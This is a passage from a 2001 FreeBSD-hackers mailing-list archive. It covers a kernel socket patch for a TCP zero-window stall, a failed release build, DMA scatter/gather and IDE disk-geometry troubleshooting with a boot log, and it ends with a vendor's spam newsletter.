..2 clients started ............................++** Throughput 8.37795 MB/sec (NB=10.4724 MB/sec 83.7795 MBit/sec) 2 procs ---------------- On localhost I get: ---------------- test1:/home/dillon/dbench> ./tbench 1 localhost .1 clients started ..............+* Throughput 25.7156 MB/sec (NB=32.1445 MB/sec 257.156 MBit/sec) 1 procs test1:/home/dillon/dbench> ./tbench 2 localhost ..2 clients started ............................++** Throughput 36.5428 MB/sec (NB=45.6785 MB/sec 365.428 MBit/sec) 2 procs test1:/home/dillon/dbench> ---------------- This is WITHOUT changing the default send and receive tcp buffers.. they're both 16384. The bug I found is that when recv() is used with MSG_WAITALL, which is what tbench does, soreceive() will block waiting for all available input WITHOUT ever calling pr->pr_usrreqs->pru_rcvd(), which means that if the sender filled up the receive buffer (16K default) the receiver will never ack the 0 window... that is until the idle code takes over after 5 seconds. -Matt Index: uipc_socket.c =================================================================== RCS file: /home/ncvs/src/sys/kern/uipc_socket.c,v retrieving revision 1.68.2.16 diff -u -r1.68.2.16 uipc_socket.c --- uipc_socket.c 2001/06/14 20:46:06 1.68.2.16 +++ uipc_socket.c 2001/12/01 21:09:13 @@ -910,6 +910,14 @@ !sosendallatonce(so) && !nextrecord) { if (so->so_error || so->so_state & SS_CANTRCVMORE) break; + /* + * The window might have closed to zero, make + * sure we send an ack now that we've drained + * the buffer or we might end up blocking until + * the idle takes over (5 seconds). + */ + if (pr->pr_flags & PR_WANTRCVD && so->so_pcb) + (*pr->pr_usrreqs->pru_rcvd)(so, flags); error = sbwait(&so->so_rcv); if (error) { sbunlock(&so->so_rcv); To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 13:29: 8 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id A8C7E37B416 for ; Sat, 1 Dec 2001 13:29:05 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fB1LT3U36976; Sat, 1 Dec 2001 13:29:03 -0800 (PST) (envelope-from dillon) Date: Sat, 1 Dec 2001 13:29:03 -0800 (PST) From: Matthew Dillon Message-Id: <200112012129.fB1LT3U36976@apollo.backplane.com> To: Josef Karthauser Cc: Tomas Svensson , freebsd-hackers@FreeBSD.ORG Subject: Re: SSH stalls (was: FreeBSD performing worse than Linux?) References: <20011201032622.A18737@simba.systemteknik.net> <200112010846.fB18k4i30686@apollo.backplane.com> <20011201101705.A2917@tao.org.uk> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG : :rxvt. :=20 : :Joe Ok, please try w/ patch #2 that I just posted (the fix is is on the client side... whoever is receiving the data). I only give it a 10% chance of solving the workstation 'ls' stall issue because ssh does not appear to use recv() w/ MSG_WAITALL. I can't reproduce it over here so I'm stalled until someone is able to do some more investigation of the issue. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 13:38:19 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id C1C1937B405 for ; Sat, 1 Dec 2001 13:38:16 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fB1LcG837063; Sat, 1 Dec 2001 13:38:16 -0800 (PST) (envelope-from dillon) Date: Sat, 1 Dec 2001 13:38:16 -0800 (PST) From: Matthew Dillon Message-Id: <200112012138.fB1LcG837063@apollo.backplane.com> To: Richard Sharpe , freebsd-hackers@FreeBSD.ORG Subject: Re: Patch #2 (was Re: Found the problem, w/patch (was Re: FreeBSD performing worse than Linux?)) References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <200111302130.fAULUU324648@apollo.backplane.com> <3C08CF9D.2030109@ns.aus.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Oh, I forgot to mention... there's still a bug. You have to turn off delayed acks to get the below numbers. Otherwise the window 0 recovery ack ... gets delayed. Joy. It's easy to fix, but I'm off to see Potter so it will be tonight. -Matt : Richard (and others), please try this patch. With this patch I : get the following between two machines connected via a 100BaseTX : switch (full duplex): : : ---------------- : : test1:/home/dillon/dbench> ./tbench 1 test2 : .1 clients started : ..............+* : Throughput 6.13925 MB/sec (NB=7.67406 MB/sec 61.3925 MBit/sec) 1 procs : test1:/home/dillon/dbench> ./tbench 2 test2 : ..2 clients started : ............................++** : Throughput 8.37795 MB/sec (NB=10.4724 MB/sec 83.7795 MBit/sec) 2 procs : : ---------------- : : On localhost I get: : : ---------------- : : test1:/home/dillon/dbench> ./tbench 1 localhost : .1 clients started : ..............+* : Throughput 25.7156 MB/sec (NB=32.1445 MB/sec 257.156 MBit/sec) 1 procs : test1:/home/dillon/dbench> ./tbench 2 localhost : ..2 clients started : ............................++** : Throughput 36.5428 MB/sec (NB=45.6785 MB/sec 365.428 MBit/sec) 2 procs : test1:/home/dillon/dbench> : : ---------------- : : This is WITHOUT changing the default send and receive tcp buffers.. : they're both 16384. : : The bug I found is that when recv() is used with MSG_WAITALL, : which is what tbench does, soreceive() will block waiting for all : available input WITHOUT ever calling pr->pr_usrreqs->pru_rcvd(), : which means that if the sender filled up the receive buffer (16K default) : the receiver will never ack the 0 window... that is until the idle code : takes over after 5 seconds. : : -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 14:43:42 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns2.microbsd.net (ns2.microbsd.net [4.23.122.20]) by hub.freebsd.org (Postfix) with ESMTP id 3BB1537B423; Sat, 1 Dec 2001 14:43:05 -0800 (PST) Received: from mail.microbsd.net (mail.microbsd.net [4.23.122.30]) by ns2.microbsd.net (Postfix) with ESMTP id 4E96D31A4; Sat, 1 Dec 2001 17:53:16 -0500 (EST) Subject: Re: Make RELEASE broken? From: kerberus To: Seth Kingsley Cc: freebsd-questions@freebsd.org, freebsd-hackers@freebsd.org In-Reply-To: <20011201050521.H61534@fluff.meowfishies.com> References: <1007187755.2509.1.camel@ns2.microbsd.net> <20011201050521.H61534@fluff.meowfishies.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/0.13 (Preview Release) Date: 01 Dec 2001 17:53:16 -0500 Message-Id: <1007247196.2509.4.camel@ns2.microbsd.net> Mime-Version: 1.0 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG It just fails ... touch _stamp.extraobjs (cd /usr/src/share/doc/usd/11.vitut/../../../../contrib/nvi/docs/USD.doc/edit; g roff -mtty-char -Tascii -t -ms -o1- /usr/src/share/doc/usd/11.vitut/../../../../ contrib/nvi/docs/USD.doc/edit/edittut.ms) | gzip -cn > paper.ascii.gz ===> share/doc/usd/12.vi ===> share/doc/usd/12.vi/vi touch _stamp.extraobjs (cd /usr/src/share/doc/usd/12.vi/vi/../../../../../contrib/nvi/docs/USD.doc/vitu t; groff -mtty-char -Tascii -t -ms -o1- /usr/src/share/doc/usd/12.vi/vi/../../.. /../../contrib/nvi/docs/USD.doc/vitut/vi.in /usr/src/share/doc/usd/12.vi/vi/../. ./../../../contrib/nvi/docs/USD.doc/vitut/vi.chars) | gzip -cn > paper.ascii.gz ===> share/doc/usd/12.vi/viapwh touch _stamp.extraobjs (cd /usr/src/share/doc/usd/12.vi/viapwh/../../../../../contrib/nvi/docs/USD.doc/ vitut; groff -mtty-char -Tascii -t -ms -o1- /usr/src/share/doc/usd/12.vi/viapwh/ ../../../../../contrib/nvi/docs/USD.doc/vitut/vi.apwh.ms) | gzip -cn > viapwh.a scii.gz /usr/src/share/doc/usd/12.vi/viapwh/../../../../../contrib/nvi/docs/USD.doc/vitu t/vi.apwh.ms:42: warning: `CB' not defined /usr/src/share/doc/usd/12.vi/viapwh/../../../../../contrib/nvi/docs/USD.doc/vitu t/vi.apwh.ms:88: warning: `VL' not defined /usr/src/share/doc/usd/12.vi/viapwh/../../../../../contrib/nvi/docs/USD.doc/vitu t/vi.apwh.ms:109: warning: `LE' not defined ===> share/doc/usd/12.vi/summary touch _stamp.extraobjs (cd /usr/src/share/doc/usd/12.vi/summary/../../../../../contrib/nvi/docs/USD.doc /vitut; groff -mtty-char -Tascii -t -ms -o1- /usr/src/share/doc/usd/12.vi/summar y/../../../../../contrib/nvi/docs/USD.doc/vitut/vi.summary) | gzip -cn > summar y.ascii.gz ===> share/doc/usd/13.viref make: don't know how to make ref.so. Stop *** Error code 2 Stop in /usr/src/share/doc/usd. *** Error code 1 Stop in /usr/src/share/doc. *** Error code 1 Stop in /usr/src/share. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src/release. has anyone had any success recently ?? a buildworld installworls worked fine > What are you doing in the first place? You might try Murray Stokely's > recent paper on release engineering given at BSDCon Europe: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 15: 6:46 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mass.dis.org (mass.dis.org [216.240.45.41]) by hub.freebsd.org (Postfix) with ESMTP id F081537B419 for ; Sat, 1 Dec 2001 15:06:43 -0800 (PST) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.6/8.11.3) with ESMTP id fB1NB4v02853; Sat, 1 Dec 2001 15:11:04 -0800 (PST) (envelope-from msmith@mass.dis.org) Message-Id: <200112012311.fB1NB4v02853@mass.dis.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: mark tinguely Cc: freebsd-hackers@FreeBSD.ORG, zzhang@cs.binghamton.edu Subject: Re: contiguous memory of a buffer In-reply-to: Your message of "Thu, 29 Nov 2001 15:34:15 CST." <200111292134.fATLYFn42233@web.cs.ndsu.nodak.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 01 Dec 2001 15:11:04 -0800 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > I am wondering whether we need contiguous memory for a PHYSICAL buffer to > > perform the DMA I/O. > > yes. The DMA request should either not cross a physical page or > if the request does cross a physical page, those pages must be > contiguous. Er, no. > the exception to this is if your DMA card has a memory management > unit, and you are sharing the same virtual to physical map with the > MMU and the host memory allocation space (for a driver, the kernel > physical map). Er, no again. All but the very worst busmaster DMA controllers accept what's called a "scatter/gather" list, which is a list of physical addresses and matching lengths, over which the logical transfer is broken up. Contiguous memory is not typically required for DMA transactions. It can be easier to construct some control structures by using contiguous memory, but modern controller design recognises that contiguous memory can be hard to come by, and thus few controllers actually mandate it. -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 16:52:59 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from netfinity.realnet.co.sz (netfinity.realnet.co.sz [196.28.7.2]) by hub.freebsd.org (Postfix) with ESMTP id E6C6D37B41B for ; Sat, 1 Dec 2001 16:52:53 -0800 (PST) Received: by netfinity.realnet.co.sz (Postfix, from userid 502) id D848FFA41; Sat, 1 Dec 2001 14:26:10 +0200 (SAST) Received: from localhost (localhost [127.0.0.1]) by netfinity.realnet.co.sz (Postfix) with ESMTP id D6B09653E2; Sat, 1 Dec 2001 14:26:10 +0200 (SAST) Date: Sat, 1 Dec 2001 14:26:10 +0200 (SAST) From: Zwane Mwaikambo X-X-Sender: To: =?ISO-8859-1?Q?S=F8ren_Schmidt?= Cc: Subject: Re: UDMA33 and SiS5591 on FreeBSD 4.4-RELEASE In-Reply-To: <200112011205.fB1C5r243828@freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, 1 Dec 2001, Søren Schmidt wrote: > Ohhh, I need alot more info before I can tell whats going on.. > I need at least the dmesg from a verbosely booted system and > also a pciconf -l to tell what chips you have. Ok i can get the pciconf but how do i set the bootverbose flag? Thanks. Zwane Mwaikambo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 16:53: 0 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from netfinity.realnet.co.sz (swazi.realnet.co.sz [196.28.7.2]) by hub.freebsd.org (Postfix) with ESMTP id 24D2237B416; Sat, 1 Dec 2001 16:52:53 -0800 (PST) Received: by netfinity.realnet.co.sz (Postfix, from userid 502) id 72499FA3C; Sat, 1 Dec 2001 14:01:13 +0200 (SAST) Received: from localhost (localhost [127.0.0.1]) by netfinity.realnet.co.sz (Postfix) with ESMTP id 6DC79653E2; Sat, 1 Dec 2001 14:01:13 +0200 (SAST) Date: Sat, 1 Dec 2001 14:01:13 +0200 (SAST) From: Zwane Mwaikambo X-X-Sender: To: Cc: Subject: SiS 5591/3.2G FreeBSD 4.4-REL geometry problems. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I've been trying to install FreeBSD 4.x on a box on of mine to no avail. Essentially its a drive geometry problem (Seagate 3.2G), FreeBSD "guesses" 6296/16/63 (which the BIOS (AMI) POST states it as as well, LBA enabled) but i end up being unable to mkfs filesystems (access beyond device). Linux detects the drive geometry as thus; 787/128/63 and i can use the whole disk with no problems. I've tried this geometry with the FreeBSD installer but get the same problem as before. I've gone as far as installing the disk on another machine and installing FreeBSD like that and have tried both geometries. But when i get to putting the disk into its target machine, it fails to boot after a reboot (scribbles all over the disk). So far i've tried the following with no luck. LBA in BIOS and 787/128/63 LBA in BIOS and 6296/16/63 no LBA in BIOS and 787/128/63 no LBA in BIOS and 6296/128/63 The drive manufacturer has 6296/128/63 on the drive. Any suggestions would be greatly appreciated. I currently boot with a small drive (1.2G) and the 3.2 on the secondary channel with (6296/16/63 and LBA) Regards, Zwane Mwaikambo Note. I have the same problems with NetBSD 1.5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 16:53:18 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from netfinity.realnet.co.sz (netfinity.realnet.co.sz [196.28.7.2]) by hub.freebsd.org (Postfix) with ESMTP id CEE8937B417 for ; Sat, 1 Dec 2001 16:52:53 -0800 (PST) Received: by netfinity.realnet.co.sz (Postfix, from userid 502) id 9F463F9C3; Sat, 1 Dec 2001 13:49:00 +0200 (SAST) Received: from localhost (localhost [127.0.0.1]) by netfinity.realnet.co.sz (Postfix) with ESMTP id 9B170653E2; Sat, 1 Dec 2001 13:49:00 +0200 (SAST) Date: Sat, 1 Dec 2001 13:49:00 +0200 (SAST) From: Zwane Mwaikambo X-X-Sender: To: Cc: Subject: UDMA33 and SiS5591 on FreeBSD 4.4-RELEASE Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I've got a box which boots up with UDMA33 but during the boot sequence gets write problems and ends up disabling it and i presume falling back to PIO4. I've tested the same box on Linux 2.4.2+ and have had no problems running it at UDMA33. Host: SiS 5591 (revision?) Disk: Seagate 3.2G ATA2 I'm willing to test any patches. Regards, Zwane Mwaikambo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 16:53:43 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from netfinity.realnet.co.sz (netfinity.realnet.co.sz [196.28.7.2]) by hub.freebsd.org (Postfix) with ESMTP id D3B6837B419 for ; Sat, 1 Dec 2001 16:52:53 -0800 (PST) Received: by netfinity.realnet.co.sz (Postfix, from userid 502) id 9A6A0FA43; Sat, 1 Dec 2001 17:57:48 +0200 (SAST) Received: from localhost (localhost [127.0.0.1]) by netfinity.realnet.co.sz (Postfix) with ESMTP id 928E6653E2; Sat, 1 Dec 2001 17:57:48 +0200 (SAST) Date: Sat, 1 Dec 2001 17:57:48 +0200 (SAST) From: Zwane Mwaikambo X-X-Sender: To: =?ISO-8859-1?Q?S=F8ren_Schmidt?= Cc: Subject: Re: UDMA33 and SiS5591 on FreeBSD 4.4-RELEASE In-Reply-To: <200112011246.fB1CkGq44064@freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Had to go home to get the messages. Whilst i was there i examined the verbose boot and pinpointed the DMA problem to the PIO cdrom i have (i thought it was a UDMA one). Removing that from the same cable fixed the DMA problem. Thanks for your time. But hopefully this might still help you with my drive geometry problem. Regards, Zwane Mwaikambo Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.4-RELEASE #0: Thu Jan 1 03:22:15 GMT 1998 root@mondecino.mastecende.com:/usr/src/sys/compile/MONDECINO Calibrating clock(s) ... failed, using default i8254 clock of 1193182 Hz CLK_USE_I8254_CALIBRATION not specified - using default frequency Timecounter "i8254" frequency 1193182 Hz Timecounter "TSC" frequency 350800356 Hz CPU: Pentium II/Pentium II Xeon/Celeron (350.80-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x652 Stepping = 2 Features=0x183f9ff real memory = 201261056 (196544K bytes) Physical memory chunk(s): 0x00001000 - 0x0009efff, 647168 bytes (158 pages) 0x00372000 - 0x0bfe7fff, 197615616 bytes (48246 pages) config> q avail memory = 192499712 (187988K bytes) bios32: Found BIOS32 Service Directory header at 0xc00fdb50 bios32: Entry = 0xfdb60 (c00fdb60) Rev = 0 Len = 1 pcibios: PCI BIOS entry at 0xdb81 pnpbios: Found PnP BIOS data at 0xc00f70e0 pnpbios: Entry = f0000:68d4 Rev = 1.0 Other BIOS signatures found: ACPI: 000fb000 Preloaded elf kernel "kernel" at 0xc034c000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc034c0a8. Pentium Pro MTRR support enabled md0: Malloc disk Creating DISK md0 pci_open(1): mode 1 addr port (0x0cf8) is 0x00000000 pci_open(1a): mode1res=0x80000000 (0x80000000) pci_cfgcheck: device 0 [class=060000] [hdr=80] is there (id=06201039) Using $PIR table, 5 entries at 0xc00f7740 pcib-: pcib0 exists, using next available unit number npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard found-> vendor=0x1039, dev=0x0620, revid=0x02 class=06-00-00, hdrtype=0x00, mfdev=1 subordinatebus=0 secondarybus=0 map[10]: type 1, range 32, base e8000000, size 26 found-> vendor=0x1039, dev=0x5513, revid=0xd0 class=01-01-80, hdrtype=0x00, mfdev=1 subordinatebus=0 secondarybus=0 intpin=a, irq=0 map[10]: type 1, range 32, base 000001f0, size 3 map[14]: type 1, range 32, base 000003f4, size 2 map[18]: type 1, range 32, base 00000170, size 3 map[1c]: type 1, range 32, base 00000374, size 2 map[20]: type 1, range 32, base 0000ffa0, size 4 found-> vendor=0x1039, dev=0x0008, revid=0xb1 class=06-01-00, hdrtype=0x00, mfdev=1 subordinatebus=0 secondarybus=0 found-> vendor=0x1039, dev=0x0009, revid=0x00 class=ff-00-00, hdrtype=0x00, mfdev=1 subordinatebus=0 secondarybus=0 found-> vendor=0x1039, dev=0x7001, revid=0x11 class=0c-03-10, hdrtype=0x00, mfdev=1 subordinatebus=0 secondarybus=0 intpin=a, irq=10 map[10]: type 1, range 32, base efffe000, size 12 found-> vendor=0x1039, dev=0x0001, revid=0x00 class=06-04-00, hdrtype=0x01, mfdev=0 subordinatebus=1 secondarybus=1 found-> vendor=0x1002, dev=0x4755, revid=0x9a class=03-00-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 map[10]: type 1, range 32, base e6000000, size 24 map[14]: type 1, range 32, base 0000d800, size 8 map[18]: type 1, range 32, base effff000, size 12 found-> vendor=0x1113, dev=0x1211, revid=0x10 class=02-00-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 intpin=a, irq=9 map[10]: type 1, range 32, base 0000d600, size 8 map[14]: type 1, range 32, base efffdf00, size 8 found-> vendor=0x10ec, dev=0x8029, revid=0x00 class=02-00-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 intpin=a, irq=10 map[10]: type 1, range 32, base 0000d400, size 5 found-> vendor=0x13f6, dev=0x0100, revid=0x10 class=04-01-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 intpin=a, irq=10 map[10]: type 1, range 32, base 0000d200, size 8 pci0: on pcib0 atapci0: port 0xffa0-0xffaf,0x374-0x377,0x170-0x177,0x3f4-0x3f7,0x1f0-0x1f7 irq 0 at device 0.1 on pci0 ata0: iobase=0x01f0 altiobase=0x03f6 bmaddr=0xffa0 ata0: mask=03 status0=50 status1=00 ata0: mask=03 ostat0=50 ostat2=00 ata0-master: ATAPI probe a=00 b=00 ata0-slave: ATAPI probe a=00 b=00 ata0: mask=03 status0=50 status1=00 ata0-master: ATA probe a=01 b=a5 ata0: devices=01 ata0: at 0x1f0 irq 14 on atapci0 ata1: iobase=0x0170 altiobase=0x0376 bmaddr=0xffa8 ata1: mask=03 status0=50 status1=50 ata1: mask=03 ostat0=50 ostat2=50 ata1-master: ATAPI probe a=00 b=00 ata1-slave: ATAPI probe a=14 b=eb ata1: mask=03 status0=50 status1=10 ata1-master: ATA probe a=01 b=a5 ata1: devices=09 ata1: at 0x170 irq 15 on atapci0 isab0: at device 1.0 on pci0 isa0: on isab0 pci0: (vendor=0x1039, dev=0x0009) at 1.1 ohci0: mem 0xefffe000-0xefffefff irq 10 at device 1.2 on pci0 usb0: OHCI version 1.0, legacy support usb0: on ohci0 usb0: USB revision 1.0 uhub0: SiS OHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered pcib2: at device 2.0 on pci0 found-> vendor=0x1039, dev=0x6306, revid=0x2a class=03-00-00, hdrtype=0x00, mfdev=0 subordinatebus=0 secondarybus=0 intpin=a, irq=10 pci1: on pcib2 pci1: (vendor=0x1039, dev=0x6306) at 0.0 irq 10 pci0: (vendor=0x1002, dev=0x4755) at 9.0 rl0: port 0xd600-0xd6ff mem 0xefffdf00-0xefffdfff irq 9 at device 11.0 on pci0 rl0: Ethernet address: 00:00:e8:6c:91:84 miibus0: on rl0 rlphy0: on miibus0 rlphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto bpf: rl0 attached pci0: (vendor=0x10ec, dev=0x8029) at 13.0 irq 10 pci0: (vendor=0x13f6, dev=0x0100) at 15.0 irq 10 pci-: pci1 exists, using next available unit number pcib1: on motherboard pci2: on pcib1 ata-: ata0 exists, using next available unit number ata-: ata1 exists, using next available unit number Trying Read_Port at 203 ESS0000: adding io range 0x800-0xfff, size=0x8, align=0x8 ESS1868: start dependant ESS1868: adding dma mask 0x2 ESS1868: adding dma mask 0x9 ESS1868: adding irq mask 0x20 ESS1868: adding fixed io range 0x220-0x22f, size=0x10, align=0x1 ESS1868: adding fixed io range 0x388-0x38b, size=0x4, align=0x1 ESS1868: adding fixed io range 0x330-0x331, size=0x2, align=0x1 ESS1868: start dependant ESS1868: adding dma mask 0x2 ESS1868: adding dma mask 0x9 ESS1868: adding irq mask 0x6a0 ESS1868: adding io range 0x220-0x24f, size=0x10, align=0x20 ESS1868: adding fixed io range 0x388-0x38b, size=0x4, align=0x1 ESS1868: adding io range 0x300-0x331, size=0x2, align=0x30 ESS1868: start dependant ESS1868: adding dma mask 0xb ESS1868: adding dma mask 0xb ESS1868: adding irq mask 0x1ea0 ESS1868: adding io range 0x220-0x28f, size=0x10, align=0x20 ESS1868: adding fixed io range 0x388-0x38b, size=0x4, align=0x1 ESS1868: adding io range 0x300-0x331, size=0x2, align=0x30 ESS1868: start dependant ESS1868: adding dma mask 0xb ESS1868: adding dma mask 0xb ESS1868: adding irq mask 0x1ea0 ESS1868: adding io range 0x220-0x28f, size=0x10, align=0x20 ESS1868: adding fixed io range 0x388-0x38b, size=0x4, align=0x1 ESS1868: adding io range 0x800-0xfff, size=0x2, align=0x2 ESS1868: start dependant ESS1868: adding dma mask 0xb ESS1868: adding dma mask 0xb ESS1868: adding irq mask 0x1ea0 ESS1868: adding io range 0x220-0x28f, size=0x10, align=0x20 ESS1868: adding io range 0x800-0xfff, size=0x4, align=0x4 ESS1868: adding io range 0x800-0xfff, size=0x2, align=0x2 ESS1868: end dependant ESS0001: start dependant ESS0001: adding fixed io range 0x201-0x201, size=0x1, align=0x1 ESS0001: start dependant ESS0001: adding io range 0x200-0x20f, size=0x1, align=0x1 ESS0001: end dependant ESS0002: start dependant ESS0002: adding irq mask 0x1000 ESS0002: adding fixed io range 0x168-0x16f, size=0x8, align=0x1 ESS0002: adding fixed io range 0x36e-0x36f, size=0x2, align=0x1 ESS0002: start dependant ESS0002: adding irq mask 0xc00 ESS0002: adding fixed io range 0x168-0x16f, size=0x8, align=0x1 ESS0002: adding fixed io range 0x36e-0x36f, size=0x2, align=0x1 ESS0002: start dependant ESS0002: adding irq mask 0x1c00 ESS0002: adding fixed io range 0x1e8-0x1ef, size=0x8, align=0x1 ESS0002: adding fixed io range 0x3ee-0x3ef, size=0x2, align=0x1 ESS0002: start dependant ESS0002: adding irq mask 0x1c00 ESS0002: adding io range 0x100-0x1ff, size=0x8, align=0x8 ESS0002: adding io range 0x300-0x3ff, size=0x2, align=0x2 ESS0002: end dependant isa_probe_children: disabling PnP devices isa_probe_children: probing non-PnP devices orm0:
Lexan Software Inc.

Dear Sir or Madam:

We have allowed ourselves to write to you because you have posted your e-mail address (freebsd-hackers@FreeBSD.org) to the following Web page: http://www.freebsd.org/./platforms/index.html If you do not wish us to use your address in the future, please click "Unsubscribe" at the bottom of this letter.

We are beginning the beta testing of a new Web site that offers easy-to-use services for other Web sites. Our services are intuitive to use, and the effect they produce is hard to overestimate.

Our goal is to convert your Web site from a collection of static information pages to an interactive visitor community built around the content and theme of your Web site.

Today we are offering four services:

Web Forum Allows your visitors to exchange opinions and maintain an on-line discussion group.
...more info
News Letter Allows you to keep your visitors up to date by sending them e-mails regularly.
(We sent this letter using our own service.)
...more info
Quick Vote Maintains a count of replies to a posted question, allowing your visitors to vote on an issue.
...more info
Talk Back Allows a visitor to leave a commentary to an article or any other information on your Web site.
...more info

An important feature of all our services is that they look native on your Web pages. They do not have any embedded advertisements (banners) and do not impose any stylistic decisions (fonts, colours, etc.) You have complete control over the appearance of our services on your pages.

Our services allow users to enchance their Web sites with features that have been inaccessible to them before.

Our services are not free, but our prices are quite reasonable. You can easily compare them with the prices for similar services provided by other companies. Our services are an order of magnitude cheaper than simlar solutions that require complicated installation procedures and maintenance of server-side applications.

The official launch date is set for December 25, 2001. On this day, all registered users will receive an additional $10 in their accounts (besides the usual $10 registration gift).

You can find additional information and examples of using our services on our Web site: www.lexansoft.com


NewsLetter service by Lexan Software
 
Copyright © 2000-2001 Lexan Software Inc.
All rights reserved. www.lexansoft.com
To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message